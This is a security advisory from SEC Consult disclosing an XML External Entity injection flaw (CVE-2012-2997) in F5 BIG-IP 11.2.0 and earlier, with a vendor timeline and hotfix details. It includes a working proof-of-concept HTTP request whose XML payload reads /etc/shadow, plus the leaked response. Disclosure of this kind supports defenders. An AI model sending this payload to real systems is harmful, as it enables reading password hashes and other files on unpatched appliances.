SEC Consult Vulnerability Lab Security Advisory < 20130122-0 >
=======================================================================
              title: XML External Entity Injection (XXE)
            product: F5 BIG-IP
 vulnerable version: <=11.2.0
      fixed version: 11.2.0 HF3
               11.2.1 HF3
         CVE number: CVE-2012-2997
             impact: Medium
           homepage: https://www.f5.com/
              found: 2012-09-03
                 by: S. Viehböck
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
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Vendor/product description:
---------------------------
"The BIG-IP product suite is a system of application delivery services that
work together on the same best-in-class hardware platform or software virtual
instance.  From load balancing and service offloading to acceleration and
security, the BIG-IP system delivers agility—and ensures your applications
are fast, secure, and available."

URL: https://www.f5.com/products/big-ip/


Vulnerability overview/description:
-----------------------------------
An XML External Entity Injection (XXE) vulnerability exists in a BIG-IP
component. This enables an authenticated attacker to download arbitrary files
from the file system with the rights of the "apache" OS user.  The BIG-IP
configuration even allows access to the critical /etc/shadow file which
contains the password hashes of users.


Proof of concept:
-----------------
The following exploit shows how files can be extracted from the file system:

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>


The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client
has sent unknown dialogueType '
root:--hash--:15490::::::
bin:*:15490::::::
daemon:*:15490::::::
adm:*:15490::::::
lp:*:15490::::::
mail:*:15490::::::
uucp:*:15490::::::
operator:*:15490::::::
nobody:*:15490::::::
tmshnobody:*:15490::::::
admin:--hash--:15490:0:99999:7:::
...


Vulnerable / tested versions:
-----------------------------
The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0.
No modules have to be enabled for successful exploitation.


Vendor contact timeline:
------------------------
2012-09-07: Contacting vendor - reqesting PGP/SMIME key.
2012-09-07: Vendor provides case number and PGP key.
2012-09-11: Sending advisory draft and proof of concept.
2012-09-20: Vendor has a fix for the vulnerability - will be released "with
            different hot fixes for different releases".
2012-11-21: Vendor announces that fix will be provided with 11.2.0 HF3 and
            11.2.1 HF3.
2013-01-22: SEC Consult releases coordinated security advisory.


Solution:
---------
Update to 11.2.0 HF3 or 11.2.1 HF3.

Patch information is also available at:
https://support.f5.com/kb/en-us/solutions/public/14000/100/sol14138.html


Workaround:
-----------
No workaround available.


Advisory URL:
--------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


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Mail: research at sec-consult dot com
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EOF S. Viehböck / @2013